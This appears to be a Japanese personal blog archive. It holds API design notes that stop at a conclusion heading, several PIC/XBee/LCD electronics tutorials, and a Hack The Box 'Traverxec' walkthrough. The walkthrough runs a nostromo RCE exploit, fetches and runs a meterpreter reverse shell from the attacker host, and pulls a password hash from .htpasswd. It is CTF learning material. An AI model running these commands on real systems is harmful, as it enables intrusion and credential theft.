API設計に関する個人的な考察
目的
現段階での、API設計に関する個人的な考察をアウトプット。 gRPCもGraphQLもRESTも基本はリソースを中心にして設計するという設計感になったので、雑なアウトプットだが今後自分の設計感がどう変化していくのかの、備忘録的位置付けにしようと思う。
API設計に関する理解度
- RESTしか経験無い(かつ本格的ではない)
- 転職後初めてGraphQLとgRPCに触れる
- 設計方法とかバラダイムよくわからんけど、REST時代の思考で設計
もやる
開発を進める中で色々と悩む事が増えてきて、モヤモヤが蓄積する。たとえば、
- gRPCの設計時に、ドメイン的に階層構造になっているモノ(例:発注と明細とか)は、集約を取得するときにそのままの階層構造で返したい気持ちだったけど、パフォーマンスとかを考慮するとそうはいかない
- 結果、ヘッダーと明細を別で取得できるAPIを用意する。そうすると今度は、更新時には集約でさせたいけど、ヘッダーの方に明細も渡すと更新と取得で歪な関係になるのでは...?など別のもやりも出てくる
- 状態遷移をさせるときは、UpdateのAPIに全部渡すのではなく別アクションできりだす方が適切な気がするけど、言語化がうまくできない...
デザインパターンに出会う
本屋をぶらぶらしていると、「APIデザインパターン」なるものに出会う。 まだ途中だが内容的には結構良かった。リソース指向がなぜいいか?という内容から、gRPC、GraphQL、RESTのいずれも同じ考え方で設計していいものか?を考えるようになった。
WEBを漁る
gRPCについて
このサイト良かった。 google.aip.dev
ビジネスドメインに沿った考えでAPI設計をするっていうのは非常にわかりみが深い。 これは、UIに左右された作りにならないので、BE側にとっても幸せそう。
GraphQLについて
このサイトはかなり参考になり良かった。 github.com
ここ見て、GraphQLもリソース指向でいいのかなーという解になる。 クライアントによって表示したい内容とかレイアウトは全然異なるけど、根底にある表示したい情報(リソース)は共通だとすると、リソースをちゃんと設計できていればクライアントごとにスキーマを用意するとかは不要そう。
と共に、BFFはクライアントごとに必要って聞いたけど、BFF一個でいいのでは?との思いに至る。 調べていると、 Universal BFF という考えがあり、それがまさにこれにあたる。以下のリンクにはGraphQL誕生の動画もあり、まさにこれではと更に思う。 zenn.dev
テーブル設計の変更に弱いというデメリットはあるけど、hasuraとか使うとBFF作る必要なくなって開発速度上がるとかもある? BE側も参照系のAPI用意する必要なくなりそうだし..
自分なりの解
XBeeのAPIモードでメッセージを送信する(PIC)
はじめに
以前、Xbeeの子機で読み取ったセンサー値を親機へ送信していたが、任意のメッセージを送信する方はやっていなかったなと思い、挑戦してみることにした。ArduinoかPICが選択肢としてはあるが、PICでの実装にも慣れてきたのでこちらでやってみる。
今回用意するもの
- PIC16F628A
- XBee S2C * 2
XBeeのAPIモードでフレームを送信するには
XBeeで送受信するには、透過モードとAPIモードがあるので、後者でやってみることにする。
APIモードでメッセージをコーディネータに送信するには、PIC側でAPIフレームを作成する必要がある。最初XBeeのRXとPICのTXを繋ぐだけでシリアル通信が可能になるのかなと思ったが、ウンともスンとも言わなかった...
どうしたものかなと思い、digiのサイトを見に行ったら詳しく説明されていた。
送信フレームを作成してXBeeに送れば、あとはよしなにやってくれるらしい。
APIフレームの作成
あとは送信フレームを作成すればいいだけなので、送信フレームがどんなフォーマットなのかを調べる。
フレーム構造はわかったが、具体的にどういう風に値をセットすれば送信してくれるのかまではわからない。 が、そこもちゃんと説明しているページがあった。親切。
この中の、フレーム作成の手順を参考にXCTUでフレームを作成してみる。
それをPICから送信してみると、XBeeの親機で正常に受信することが確認できた。
ここで作成するフレームはチェックサムも計算済なので、PICから送信するフレームの妥当性を検証する際にも大変役に立った。
※ ちなみに色々なフレームの種類を選択可能なので、XCTUのフレーム作成がベースになると思う。
実装
こんな感じでAPIフレームを作成して送信すればOK
回路図
電源とTX/RXを相互につないだだけのシンプルな構成。
確認
送信されるフレームをXCTUで確認する。
Receive Packet (API 1) 7E 00 19 90 00 13 A2 00 41 7D 50 31 24 A4 01 48 45 4C 4C 4F 20 31 36 46 36 32 38 41 90 Start delimiter: 7E Length: 00 19 (25) Frame type: 90 (Receive Packet) 64-bit source address: 00 13 A2 00 41 7D 50 31 16-bit source address: 24 A4 Receive options: 01 RF data (HEX): 48 45 4C 4C 4F 20 31 36 46 36 32 38 41 RF data (ASCII): HELLO 16F628A Checksum: 90
実際に受信したパケットを何かの処理に利用する場合は、こちらにあるような実装を行えばいい。
まとめ
最初、APIモードでフレーム送信している記事を色々見ていたのだが、ソースがなかったり個人ライブラリ前提だったりで、見てパッとできそうな記事に出会えなかったけど、digiのサイトにExampleがあったのは大変良かった。XBeeのAPIモードで任意の文字列を送ってやりとりするのは、今後も多用しそう。
PICでLCDを操作する
はじめに
秋月電子でLCDディスプレイモジュールを購入したので、PICで動かしてみた。
今回用意するのは
- 16F628A
- SC1602BBWB-XA-GB-G
- 小型ボリューム 1KΩB
事前準備
上のLCDディスプレイモジュールは、そのまだとバックライトがつかないので、J3とR9に抵抗を半田付する必要がある(取扱書に載っている)
データシート
ディスプレイモジュールのデータシート。結構やることがある....
https://akizukidenshi.com/download/ds/sunlike/SC1602BBWB-XA-GB-G.pdf
ライブラリ
LCDを駆動させるにあたりスクラッチで書くのもいいが、ArduinoのLiquidCrystalライブラリみたいな感じで、詳細を知らなくてもサクッと使えるモノはないかを探してみると、以下のライブラリと遭遇した。こちらは、説明用のブログがセットになっているので大変わかりやすく、導入が簡単だったのでこれを使用した。
Blog
https://trionprojects.org/lcd-interfacing-with-pic-using-xc8/
Usage
https://trionprojects.org/lcd-library-for-8-bit-pic-microcontrollers/
セットアップ
LCD用のプロジェクトを作成する。作成方法は過去のブログ参照
https://github.com/Trionium/PIC-Libraries/tree/master/LCD
上のブログに倣ってHeader Filesに config.h
の作成をして、Source Filesに main.c
を作成する
Githubからソースをダウンロードしてきて、lcd.h
と lcd.c
をプロジェクト直下(\MPLABXProjects\lcd.X)に配置する。
lcd.h
をHeader Filesにインポートする
Header Files > Add Exists Item > lcd.h
lcd.c
をSource Filesにインポートする
Header Files > Add Exists Item > lcd.h
コンパイルする
回路図
小型ボリュームは抵抗値を変えられるようになっており、これでディスプレイの液晶濃度を調整できる。これがないと文字が見えない状態になっているので、調整のためには必須となる。
まとめ
PICでLCDを使うにはセットアップやコマンド送信など結構やることが多くてめんどそうだなと思っていたが、こういうライブラリを使うとサクッとできて敷居が下がるので、大変便利だった。ここまで簡単にできてしまうとArduinoでなくても全然良い。
TMR0を使った7セグLEDのダイナミック点灯
はじめに
Arduinoでダイナミック点灯をやってみたが、これぐらいだったらPICでもできるのでは?と思い挑戦してみた。 Arduinoでの実装はこちら。
今回用意するのは
- PIC16F628A
- OSL10561-IB * 2
ダイナミック点灯
ダイナミック点灯とは、7セグメントLEDを順番にかつ高速に点灯させることにより、人間の目には同時に点灯しているように見せる点灯方式。
タイマーの考え方
例えば、一秒毎にカウントアップする数字をダイナミック点灯で表示させることを考えた場合、カウント用のループ処理とダイナミック点灯用のループ処理が必要になるが、メインループの中で両方ともやることは出来ない。理由としてはダイナミック点灯を行う場合、7セグLEDに対して数ミリ秒間隔で交互に電力を供給する必要が出てくるが、この処理の中でスリープ1秒とかをいれてしまった日には、LEDセグメントはチカチカッと光って後半の7セグLEDだけが光る状態になる。そこで、メインループの中はダイナミック点灯用のループを回して、TMR0で1秒毎に割り込みをいれてカウントアップするようにする。
TMR0割り込み
このサイトが大変参考になる
- PIC16F628Aの内部クロック4MHz
- 1命令の実行時間は0.25μs(1sec / 4,000,000Hz)
- 動作クロック1MHz(4Mhz / 4クロック)
- 1命令の実行時間は1μs (1sec / 1,000,000Hz)
- カウンターは256でオーバーフロー
このまま愚直にカウンターを繰り上げていくと、256μsでオーバーフロー(割り込み発生)してしまう(カウンター8bitなので256がMAX) こうなると、1秒を検知するためには 1sec / 256( 1μs * 256回 ) μs = 1sec / 0.000256sec = 3906回割り込みをしなければいけなくなる。 これだと1秒を作るのに割り込みが入りすぎなので、プリスケーラというのを使ってクロックを間引く。
プリスケーラ(分周)
仮にプリスケーラのマックス256で考えたとすると 1μs * 256 = 256μs となり、カウンターを繰り上げるのに256μsかかることになる。 これは、先程カウンタをマックスにするのにかかった時間そのものになる。
そうすると、1秒を作るために3906回必要だった割り込みが、1sec / 65,536 ( 1μs * プリスケーラ:256 * 256回 ) μs = 1sec / 0.065536sec = 15回の割り込みで十分となる。 なので、65msで割り込みが入ったら独自のカウンタを繰り上げて、それが15になったら秒数繰り上げ処理を行えば1秒(だいたい)を作れる。
※ このだいたい1秒は、カウンターの初期値を調整してぴったり1秒とかにすることもでき、それで精度の調整も可能になる(さらに精度を高める場合は内部クロックを外部クロックに変えるとかも必要になる) 今回利用しているPICは8bitPICなので、カウンターが256までだが、16bitPICを利用すれば65,536カウンターまで保持できるので、1secちょうどで割り込み発生させるとかが可能となっている。
実装
TMR0を利用するためにはいくつかレジスタを設定する必要がある。
まず、Global Interrupt EnableとTMR0 Overflow Interrupt Enableに1を立てる。 これで割り込み自体の有効化とTMR0の有効化をしている そのあとは、上で説明したプリスケーラの値を設定して、カウンターの初期値を設定する。
//GIE(Global Interrupt Enable bit):1, T0IE(TMR0 Overflow Interrupt Enable bit):1 INTCON = 0b10100000; // Prescaler Rate Select bits 111 -> 1 : 256 OPTION_REG = 0b10000111; TMR0 = 0x00;
レジストリの設定を行ったあとは割り込み発生時に実行する関数を定義する。 T0IFはタイマー割り込みが入ると1になるので0に戻して再度割り込みを可能な状態にしておく。
void __interrupt() irt(void) { T0IF = 0; tmr0_counter--; if (tmr0_counter == 0) { tmr0_counter = INTERRUPTS_COUNT_PER_SECOND; count_up(); } }
ここら辺のことを一通りやった上でダイナミック点灯を実現しているのが以下のソースになる。
回路図
今回利用した7セグメントLEDは
- DC Forward Current (IF) = 20mA 順方向電流
- DC Forward Voltage (VF) = 3.3 〜 4.0V 電圧
- Reverse Voltage (VR) = 5V 逆電圧
だったので、余裕を持って18mAとして (5V - 3.3V) / 0.018A = 94Ω で100Ωの抵抗を挟むことにする
まとめ
昔PICで遊んでいた時は、ダイナミック点灯が難しいイメージだったが、原理を理解してTMR0の使い方を把握さえしてしまえば、難しいことは何もなかった。Arduinoで実装できればそれをPIC用にコンバートするだけ。
PICでシリアル通信(送信)する
はじめに
Arduinoでシリアル通信をするには、RXとTXを相互に接続してSerial.printlnを使うだけで出来てしまうが、PICだとそうもいかないので、PICでのシリアル通信を体験してみる。
今回用意するのは
- Arduino UNO
- PIC16F628A
UART
PICにはUARTというシリアル通信用のモジュールがあり、シリアル通信のルールなども規定されている。
実装
シリアル通信で送信する時に設定するレジスタは、シリアル通信自体の許可と、シリアル通信の送信(TX)の許可、高速モード設定、非同期モードの設定を行う。そして最後はボーレートの設定を行う。
ボーレートはデータシート上で設定値がいくつかあるが、非同期モードかつ高速モードでの設定値を確認する。該当箇所は以下の部分
レジスタの設定
// bit7 SPEN: Serial Port Enable bit RCSTA = 0b10000000; // bit5 TXEN: Transmit Enable bit // bit4 SYNC: USART Mode Select bit 0(SYNC: USART Mode Select bit) // bit2 BRGH: High Baud Rate Select bit 1(High speed) TXSTA = 0b00100100; // USART Baud Rate Generator ASYNCHRONOUS MODE (BRGH = 1) 9600bps 4MHz SPBRG = 25;
実装はこんな感じになる。
回路図
Arduino側で通信内容を確認するようにしていたのだが、ここでめっちゃ嵌った。 嵌った部分としては、PIC側への電力はACアダプタから供給していたのだが、Arduino側の電圧とPIC側の電圧が微妙に異なっており、何度やってもArduino側で通信の受信結果を確認できなかった。プログラムを疑って色々変えたが何も変わらず、UARTによるデータ通信で気をつけること | hiro345 に載っていた「電圧が一致していないマイコン間の接続」の部分を見直してみたらシリアル通信が正常に通るようになった。
なのでPIC側への電力供給はACアダプタからでなく、Arduino側の5VとGNDを使用する。
まとめ
基本はこれだけで通信可能となるが、送ってる途中でたまに文字化けする文字がある場合は、まず電圧を疑う....電圧問題はあったが、レジスタの設定さえちゃんとすれば、PICでも簡単に実現できた。
PICの開発環境を整える
はじめに
Arduinoを弄っていて、プロトタイプとしてはいいけど半田付けすることまで考えると、小さくて安くないと駄目だなということに気づき、改めてPICをちゃんとやる必要があるなということで、まずは環境構築をすることにしました。今回はその備忘録になる。
環境
- Windows10
- 秋月のPICプログラマー(AE-PICPGM USB1)
- PIC16F628A
MPLAB X IDE をインストールする
PICのプログラムを実装するにあたりIDEが必要なので、MPLAB IDEを用意する。
数年前ふれてたときは、MPLAB IDEだったのが、MPLAB X IDEになっており時代を感じた...
ビルドするまでには、以下のモノが必要になるためひとまず揃える。
MPLAB X IDE
以下のサイトから最新版(現時点での最新バージョンはMPLAB X IDE v5.50)の「MPLAB X IDE Windows」をダウンロードする。 ダウンロード後、Free版でインストール開始(デフォルト指定で進めた)
https://www.microchip.com/en-us/development-tools-tools-and-software/mplab-x-ide
Cコンパイラ(MPLAB XC8、MPLAB XC16、MPLAB XC32)
IDEを起動すると、コンパイラーが見つからないという警告が表示されるので別途コンパイラーをインストールする。 コンパイラーは以下のサイトからダウンロードできるが、種類が複数あるので適切なモノを選択する必要がある。
https://www.microchip.com/en-us/development-tools-tools-and-software/mplab-xc-compilers#
PICファミリがPIC16なのでXC16かなと思ったが、よくわからないので調べてみた。
すると、わかりやすい説明のサイトが見つかったので、下記のサイトを参考に「XC8」をインストールする。
shizenkarasuzon.hatenablog.com
MPLAB XC8
8ビットPIC用のCコンパイラです。PIC10/12/16/18にプログラムを書き込むことができます。MPLAB XC16
16ビットPIC用のCコンパイラです。PIC24/dsPICにプログラムを書き込むことができます。MPLAB XC32
32ビットPIC用のCコンパイラです。PIC32にプログラムを書き込むことができます。
PICkit2 Programmer をインストールする
IDEでビルドしたHEXファイルをPICに書き込むためには、PICプログラマーのソフトウェアが別途必要になる。 今回利用する秋月の「AE-PICPGM USB1」はPICkit2互換のタイプのため、PICkit2 Programmerを用意する。
https://www.microchip.com/en-us/development-tool/PG164120
「PICkit 2 V2.61 Install with .NET Framework A」をインストールする。
動作確認用のLチカ実装する
実装するための環境が整ったので動作確認用のソースを用意する。
まずは、新しいプロジェクトを作成する
File > New Project...
Microchip Embedded を選択する
PICの型番を入力していくと候補が出てくるので選択する
Noneのままで次へ
コンパイラーは、先程インストールしたXC8を選択する
最後にプロジェクト名を入力する
動作確認用のmain.cファイルを作成する
ここのサイトにあるLED点滅プログラムを拝借する。 jh7ubc.web.fc2.com
#include <xc.h> #include <stdio.h> #include <stdlib.h> #define _XTAL_FREQ 4000000 #pragma config FOSC = INTOSCIO #pragma config WDTE = OFF #pragma config PWRTE = ON #pragma config MCLRE = OFF #pragma config BOREN = OFF #pragma config LVP = OFF #pragma config CPD = OFF #pragma config CP = OFF void main() { CMCON = 0x07; TRISA = 0b00100000; TRISB = 0x00; PORTA = 0x00; PORTB = 0x00; while(1){ RB0 = 1; __delay_ms(500); RB0 = 0; __delay_ms(500); } }
Build Main Project を選択してビルドする
正常終了すると「BUILD SUCCESSFUL (total time: 2s)」みたいなメッセージが出力される。
ビルドが終わると、以下のフォルダにHEXファイルが出力される。
※ ここに出力されたHEXファイルをPICkit2 ProgrammerでPICに書き込む。
C:\Users\user-name\MPLABXProjects\led-sample.X\dist\default\production
led-sample.X.production.hex
PICにプログラムを書き込む
PICプログラマにPICを刺してUSBをパソコンに接続する
その状態でPICkit2を立ち上げると、接続の確認ができる
File > Import HEX でHEXファイルを読み込む
write を押して書き込む
※「Programming failed at Program Memory address 0x000000」が表示されるようになった場合
Pickit2でPIC16f628Aに書き込む時、いきなり上記エラーが発生した場合は、設定を見直すと解決する。
回路組む
PICの準備は整ったので、あとは回路を組み上げる。回路は、以下のようにして電源をつなげれば無事LEDが点滅する。
おわりに
数年ぶりのPIC用の開発環境を構築した。
以前はWindowsしかなかった気がするが、現在はMacでも利用できるようになってるのはいいなと思った。
昔のPICプログラマーだけどまだ使えるか?Windows10で動くか?など、色々と心配していたが環境が作れたのでいったん安心した。
HTB Traverxec Walkthrough
振り返り的な用途で、攻撃プロセスを書き出す。
※ HackTheBoxのTraverxecマシンに対するネタバレになるので、挑戦予定の方は🙅♂️
※ RetiredになったマシンのみWalkthroughの公開は可能です。
概要
https://www.hackthebox.eu/home/machines/profile/217
10.10.10.165
Enumeration/CVE
が要求されながらも、以前のマシンと比べると少し優しいのかな?という印象をうける。
偵察
Nmap Scan
一番最初にやるべきは、対象ホストにてどのようなサービスが稼働しているかの確認。
# nmap -A 10.10.10.165
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-28 22:45 JST Nmap scan report for 10.10.10.165 Host is up (0.27s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) | ssh-hostkey: | 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA) | 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA) |_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519) 80/tcp open http nostromo 1.9.6 |_http-server-header: nostromo 1.9.6 |_http-title: TRAVERXEC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 164.99 ms 10.10.14.1 2 225.45 ms 10.10.10.165 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 86.93 seconds
脆弱性情報検索
OpenSSH 7.6p1
に関しては、OpenAdminのときに使えそうな脆弱性がなかったので今回も対象外とした。
なので、脆弱性がありそうなサービス候補としてはnostromo 1.9.6
だけになる。
適当にsearchsploit
で検索したらヒットした。
# searchsploit nostromo 1.9.6
-------------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) -------------------------------------------------------------------------------------------- ---------------------------------------- nostromo 1.9.6 - Remote Code Execution | exploits/multiple/remote/47837.py -------------------------------------------------------------------------------------------- ---------------------------------------- Shellcodes: No Result Papers: No Result
半信半疑ながらもネットで検索してみたら、このような記事もヒットしたので多分使えるのだろう。
RCE脆弱性にさらされた Nostromo Web Server
侵入
Nostromo Web Server Exploit
searchsploit
で見つけたPythonスクリプトを動かしてみる。
# cp /usr/share/exploitdb/exploits/multiple/remote/47837.py /root/.msf4/modules/exploits/poc/ # cd /root/.msf4/modules/exploits/poc/ # python 47837.py
_____-2019-16278 _____ _______ ______ _____\ \ _____\ \_\ | | | / / | | / /| || / / /|/ / /___/| / / /____/||\ \ \ |/| |__ |___|/ | | |____|/ \ \ \ | | | \ | | _____ \| \| | | __/ __ |\ \|\ \ |\ /| |\ \ / \ | \_____\| | | \_______/ | | \____\/ | | | /____/| \ | | / | | |____/| \|_____| || \|_____|/ \|____| | | |____|/ |___|/ Usage: cve2019-16278.py <Target_IP> <Target_Port> <Command>
ターゲットのIPとPortを指定してid
コマンドを投げてみる。
# python 47837.py 10.10.10.165 80 id _____-2019-16278 _____ _______ ______ _____\ \ _____\ \_\ | | | / / | | / /| || / / /|/ / /___/| / / /____/||\ \ \ |/| |__ |___|/ | | |____|/ \ \ \ | | | \ | | _____ \| \| | | __/ __ |\ \|\ \ |\ /| |\ \ / \ | \_____\| | | \_______/ | | \____\/ | | | /____/| \ | | / | | |____/| \|_____| || \|_____|/ \|____| | | |____|/ |___|/ HTTP/1.1 200 OK Date: Fri, 28 Feb 2020 13:58:46 GMT Server: nostromo 1.9.6 Connection: close uid=33(www-data) gid=33(www-data) groups=33(www-data)
サクッとwww-data
ユーザでのコマンド実行が出来た。
ピボッティング
www-data
毎回この形式でコマンド実行するのはシンドイので、reverse_tcp
で常時接続しとくことにする。
ペイロードを作成して、公開する。
# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.15.XX LPORT=4545 -f elf > shell.elf # python -m SimpleHTTPServer
msfconsole
を使って待機する。
# msfconsole MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMM MMMN$ vMMMM MMMNl MMMMM MMMMM JMMMM MMMNl MMMMMMMN NMMMMMMM JMMMM MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMNM MMMMMMM MMMMM jMMMM MMMNI WMMMM MMMMMMM MMMM# JMMMM MMMMR ?MMNM MMMMM .dMMMM MMMMNm `?MMM MMMM` dMMMMM MMMMMMN ?MM MM? NMMMMMN MMMMMMMMNe JMMMMMNMMM MMMMMMMMMMNm, eMMMMMNMMNMM MMMMNNMNMMMMMNx MMMMMMNMMNMMNM MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM https://metasploit.com =[ metasploit v5.0.2-dev ] + -- --=[ 1855 exploits - 1046 auxiliary - 325 post ] + -- --=[ 541 payloads - 44 encoders - 10 nops ] + -- --=[ 2 evasion ] + -- --=[ ** This is Metasploit 5 development branch ** ] msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Exploit target: Id Name -- ---- 0 Wildcard Target msf5 exploit(multi/handler) > set LPORT 4545 LPORT => 4545 msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 10.10.15.XX LHOST => 10.10.15.XX msf5 exploit(multi/handler) > exploit
対象ホストでペイロードを実行する。
# python 47837.py 10.10.10.165 80 "wget -P /tmp http://10.10.15.XX:8000/shell.elf” # python 47837.py 10.10.10.165 80 "cd /tmp; chmod +x shell.elf; ./shell.elf"
いつも通り、自分が何者で、今居る場所やホームディレクトリについての情報を収集する。
$ pwd /usr/bin $ ls -al total 62048 drwxr-xr-x 2 root root 20480 Nov 12 04:56 . drwxr-xr-x 13 root root 4096 Oct 25 14:15 .. -rwxr-xr-x 1 root root 96 Apr 5 2019 2to3-2.7 -rwxr-xr-x 1 root root 60064 Feb 28 2019 [ -rwxr-xr-x 1 root root 30936 Mar 30 2019 aa-enabled -rwxr-xr-x 1 root root 30936 Mar 30 2019 aa-exec -rwxr-xr-x 1 root root 26704 Jan 10 2019 addpart ...(省略)
ユーザ情報を確認する
$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
ホームディレクトリを確認する
$ ls -al /var/www ls: cannot access '/var/www': No such file or directory
historyを確認する
$ history sh: 3: history: not found
sudo確認
$ sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. sudo: no tty present and no askpass program specified
passwdファイル確認
$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin david:x:1000:1000:david,,,:/home/david:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
groupファイル確認
$ cat /etc/group root:x:0: daemon:x:1: bin:x:2: sys:x:3: adm:x:4:syslog tty:x:5: disk:x:6: lp:x:7: mail:x:8: news:x:9: uucp:x:10: man:x:12: proxy:x:13: kmem:x:15: dialout:x:20: fax:x:21: voice:x:22: cdrom:x:24: floppy:x:25: tape:x:26: sudo:x:27: audio:x:29: dip:x:30: www-data:x:33: backup:x:34: operator:x:37: list:x:38: irc:x:39: src:x:40: gnats:x:41: shadow:x:42: utmp:x:43: video:x:44: sasl:x:45: plugdev:x:46: staff:x:50: games:x:60: users:x:100: nogroup:x:65534: systemd-journal:x:101: systemd-network:x:102: systemd-resolve:x:103: input:x:104: crontab:x:105: syslog:x:106: messagebus:x:107: lxd:x:108: mlocate:x:109: uuidd:x:110: ssh:x:111: landscape:x:112: jimmy:x:1000: ssl-cert:x:113: mysql:x:114: joanna:x:1001: internal:x:1002:jimmy,joanna netdev:x:115:
鍵を握るのは色々なグループに所属しているdavid
ユーザの雰囲気。
権限を昇格するための候補が他にもいそうか、home
ディレクトリを確認する。
$ ls -al /home total 12 drwxr-xr-x 3 root root 4096 Oct 25 14:32 . drwxr-xr-x 18 root root 4096 Oct 25 14:17 .. drwx--x--x 5 david david 4096 Oct 25 17:02 david
色々探索した上で、/var
を調べていると、足掛かりになりそうなファイルを発見。
$ find /var ... /var/nostromo/conf/.htpasswd /var/nostromo/conf/nhttpd.conf
nhttpd
の設定ファイルとかは/var/nostromo
に入っているのか。
一応確認しとく。
$ cat /var/nostromo/conf/nhttpd.conf # MAIN [MANDATORY] servername traverxec.htb serverlisten * serveradmin david@traverxec.htb serverroot /var/nostromo servermimes conf/mimes docroot /var/nostromo/htdocs docindex index.html # LOGS [OPTIONAL] logpid logs/nhttpd.pid # SETUID [RECOMMENDED] user www-data # BASIC AUTHENTICATION [OPTIONAL] htaccess .htaccess htpasswd /var/nostromo/conf/.htpasswd # ALIASES [OPTIONAL] /icons /var/nostromo/icons # HOMEDIRS [OPTIONAL] homedirs /home homedirs_public public_www
.htpasswd
を確認。
$ cat /var/nostromo/conf/.htpasswd david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
david
のハッシュ化されたパスワードを手に入れる。
何のアルゴリズムでハッシュ化されているのかわからなかったので調べてみることにする。
どんなものがあるのかをopenssl
で確認。
# openssl passwd -help Usage: passwd [options] Valid options are: -help Display this summary -in infile Read passwords from file -noverify Never verify when reading password from terminal -quiet No warnings -table Format output as table -reverse Switch table columns -salt val Use provided salt -stdin Read passwords from stdin -6 SHA512-based password algorithm -5 SHA256-based password algorithm -apr1 MD5-based password algorithm, Apache variant -1 MD5-based password algorithm -aixmd5 AIX MD5-based password algorithm -crypt Standard Unix password algorithm (default) -rand val Load the file(s) into the random number generator -writerand outfile Write random data to the specified file
-1 MD5-based password algorithm
かな?と思うので試しに生成してみる。
root@kali-linux:~/sandbox# openssl passwd -1 test $1$S6a/wZpn$5mjTTqM/R4V51jP8pxEmj/
MD5
のようだ。
john
で確認する場合は、以下のコマンドで確認可能。
# john --list=formats descrypt, bsdicrypt, md5crypt, bcrypt, scrypt, LM, AFS, tripcode, AndroidBackup, adxcrypt, agilekeychain, aix-ssha1, aix-ssha256, aix-ssha512, andOTP, ansible, argon2, as400-des, as400-ssha1, asa-md5, AxCrypt, AzureAD, BestCrypt, bfegg, Bitcoin, BitLocker, bitshares, Bitwarden, BKS, Blackberry-ES10, WoWSRP, Blockchain, chap, Clipperz, cloudkeychain, dynamic_n, cq, CRC32, sha1crypt, sha256crypt, sha512crypt, Citrix_NS10, dahua, dashlane, Django, django-scrypt, dmd5, dmg, dominosec, dominosec8, DPAPImk, dragonfly3-32, dragonfly3-64, dragonfly4-32, dragonfly4-64, Drupal7, eCryptfs, eigrp, electrum, EncFS, enpass, EPI, EPiServer, ethereum, fde, Fortigate256, Fortigate, FormSpring, FVDE, geli, gost, gpg, HAVAL-128-4, HAVAL-256-3, hdaa, hMailServer, hsrp, IKE, ipb2, itunes-backup, iwork, KeePass, keychain, keyring, keystore, known_hosts, krb4, krb5, krb5asrep, krb5pa-sha1, krb5tgs, krb5-17, krb5-18, krb5-3, kwallet, lp, lpcli, leet, lotus5, lotus85, LUKS, MD2, mdc2, MediaWiki, monero, money, MongoDB, scram, Mozilla, mscash, mscash2, MSCHAPv2, mschapv2-naive, krb5pa-md5, mssql, mssql05, mssql12, multibit, mysqlna, mysql-sha1, mysql, net-ah, nethalflm, netlm, netlmv2, net-md5, netntlmv2, netntlm, netntlm-naive, net-sha1, nk, notes, md5ns, nsec3, NT, o10glogon, o3logon, o5logon, ODF, Office, oldoffice, OpenBSD-SoftRAID, openssl-enc, oracle, oracle11, Oracle12C, osc, ospf, Padlock, Palshop, Panama, PBKDF2-HMAC-MD4, PBKDF2-HMAC-MD5, PBKDF2-HMAC-SHA1, PBKDF2-HMAC-SHA256, PBKDF2-HMAC-SHA512, PDF, PEM, pfx, pgpdisk, pgpsda, pgpwde, phpass, 